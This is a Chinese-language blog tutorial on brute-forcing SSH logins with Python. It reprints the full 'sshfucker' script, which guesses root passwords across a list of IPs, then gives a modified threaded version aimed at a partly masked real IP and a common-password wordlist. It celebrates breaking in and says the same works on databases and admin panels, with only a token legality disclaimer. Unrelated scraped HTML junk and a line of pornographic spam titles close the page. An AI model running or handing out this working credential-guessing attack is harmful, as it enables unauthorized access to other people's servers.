<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手教你用Python進行SSH暴力破解

          共 4241字,需瀏覽 9分鐘

           ·

          2021-02-17 08:46


          暴力破解屬于密碼破解的一種,也是最常見的破解方法之一,通過不斷的嘗試來達到破解的目的,所以暴力破解的本質(zhì)就是一種枚舉。


          現(xiàn)在也有很多流行的破解軟件,不過個人覺得裝上kail其實也就啥都有了,但是今天我們不說他們,今天主題是如何使用Python來進行SSH的暴力破解。



          在Github上有一個庫叫sshfucker,專門用于 SSH 的暴力破解。


          https://github.com/TheKingOfDuck/sshfucker


          這個模塊很簡單,代碼實現(xiàn)不到70行,只封裝了一個py文件。


          #?!/usr/bin/python?python
          #?-*-?coding:?utf-8?-*-

          import?paramiko,?threading,?sys,?time,?os

          class?SSHThread(threading.Thread):
          ????def?__init__(self,?ip,?port,?timeout,?dic,?LogFile):
          ????????threading.Thread.__init__(self)
          ????????self.ip?=?ip
          ????????self.port?=?port
          ????????self.dict?=?dic
          ????????self.timeout?=?timeout
          ????????self.LogFile?=?LogFile

          ????def?run(self):
          ????????print("Start?try?ssh?=>?%s"?%?self.ip)
          ????????username?=?"root"
          ????????try:
          ????????????password?=?open(self.dict).read().split('\n')
          ????????except:
          ????????????print("Open?dict?file?`%s`?error"?%?self.dict)
          ????????????exit(1)
          ????????for?pwd?in?password:
          ????????????try:
          ????????????????ssh?=?paramiko.SSHClient()
          ????????????????ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
          ????????????????ssh.connect(self.ip,?self.port,?username,?pwd,?timeout=self.timeout)
          ????????????????print("\nIP?=>?%s,?Login?%s?=>?%s?\n"?%?(self.ip,?username,?pwd))
          ????????????????open(self.LogFile,?"a").write("[?%s?]?IP?=>?%s,?port?=>?%d,?%s?=>?%s?\n"?%?(
          ????????????????time.asctime(time.localtime(time.time())),?self.ip,?self.port,?username,?pwd))
          ????????????????break
          ????????????except:
          ????????????????print("IP?=>?%s,?Error?%s?=>?%s"?%?(self.ip,?username,?pwd))
          ????????????????pass


          def?ViolenceSSH(ip,?port,?timeout,?dic,?LogFile):
          ????ssh_scan?=?SSHThread(ip,?port,?timeout,?dic,?LogFile)
          ????ssh_scan.start()


          def?main(ipFile,?dic,?log):
          ????if?ipFile?==?"-h":
          ????????help()
          ????try:
          ????????ipText?=?open(ipFile).read().split('\n')
          ????????for?ip?in?ipText:
          ????????????if?ip?!=?'':
          ????????????????time.sleep(0.5)
          ????????????????threading.Thread(target=ViolenceSSH,?args=(ip,?22,?1,?dic,?log,)).start()
          ????except:
          ????????print("Open?IP?list?file?`%s`?error"?%?ipFile)
          ????????exit(1)


          def?help():
          ????print("python?ssh.scan.py?:\n\
          ????????修改dict下的ip文件,password按需求修改,然后執(zhí)行腳本。?\n"
          )
          ????exit(1)


          if?__name__?==?'__main__':

          ????fpath?=?os.path.dirname(os.path.abspath('__file__'))
          ????ipFile?=?sys.argv[1]?if?len(sys.argv)?>?1?else?fpath?+?"/dict/ip"
          ????dic?=?sys.argv[2]?if?len(sys.argv)?>?2?else?fpath?+?"/dict/password"
          ????log?=?sys.argv[3]?if?len(sys.argv)?>?3?else?fpath?+?"/log/sshd"

          ????try:
          ????????os.system("clear")
          ????????main(ipFile,?dic,?log)
          ????except?KeyboardInterrupt:
          ????????exit(1)


          我們可以明顯的看到,這個模塊依賴于 Paramiko?


          Paramiko 是用于建立 SSH2 連接(客戶端或服務(wù)器)的庫,基于Python實現(xiàn)。重點是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和服務(wù)器模式。


          Paramiko 庫在Python自動化運維領(lǐng)域很受推崇。


          pip?install?paramiko


          然后我們還可以看到這個模塊實際上就是利用 Paramiko? 建立了 ssh 的客戶端連接,批量導(dǎo)入文件,采用多線程的方式來進行暴力破解,思路很清晰。


          我們修改代碼實現(xiàn)如下


          import?sys
          import?paramiko
          import?threading
          from?concurrent.futures?import?ThreadPoolExecutor

          ssh?=?paramiko.SSHClient()
          ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())??
          is_find=False

          def?SshCheck(password):
          ????try:
          ????????ssh.connect("119.23.xx.xx",?22,?'root',?password,?timeout=1.5)
          ????????stdin,?stdout,?stderr?=?ssh.exec_command('df')
          ????????result?=?stdout.read()
          ????????if?result:
          ????????????sys.stdout.write('[OK]'?+?'\t'?+?password?+?'\n')
          ????????????global?is_find
          ????????????is_find?=?True
          ????????????exit()
          ????except?Exception?as?e:
          ????????print(e,?"失敗?。?!")
          ????finally:
          ????????ssh.close()

          filedata?=?open("pwds.txt",?"r")
          def?run():
          ????pool?=?ThreadPoolExecutor(3)
          ????while?1:
          ????????global?is_find
          ????????if?is_find:
          ????????????break
          ????????line?=?filedata.readline()
          ????????if?not?line:
          ????????????break
          ????????line?=?line.strip("\n")
          ????????pool.submit(SshCheck,line)

          run()


          采用了協(xié)程并發(fā)來進行ssh連接,如果成功破解我們就直接退出。


          這里的pwds.txt 文件用于存放破解密碼。


          password
          123456
          12345678
          1234
          qwerty
          12345
          dragon
          pussy
          baseball
          football
          letmein
          monkey
          696969
          abc123
          mustang
          michael
          shadow
          master
          jennifer
          111111
          2000
          jordan
          ...
          ...


          python?sshfucker.py


          回車鍵一按,叮叮,收到服務(wù)器被入侵的短信?。。?br>



          你也可以用你的云服務(wù)器或者自己搭建的服務(wù)器進行測試,只要 ssh驗證的ip,端口和密碼正確,即破解成功。


          破解一直爽,一直破解一直爽,利用Python不僅可以對ssh進行暴力破解,數(shù)據(jù)庫,網(wǎng)站后臺管理也是同樣的道理,只不過使用的庫不同而已。


          本文只是出于對Python的學(xué)習(xí)研究,請勿用于非法用途,小心被請喝茶喲?。?/span>

          推薦閱讀
          誤執(zhí)行了rm -fr /*之后,除了跑路還能怎么辦?!
          程序員必備58個網(wǎng)站匯總
          大幅提高生產(chǎn)力:你需要了解的十大Jupyter Lab插件

          瀏覽 56
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  日日外国老女人 | 91高清无码在线观看 | 黄片视频免费播放 | 伊人成人电影综合网 | 国产操b电影网站在线观看 |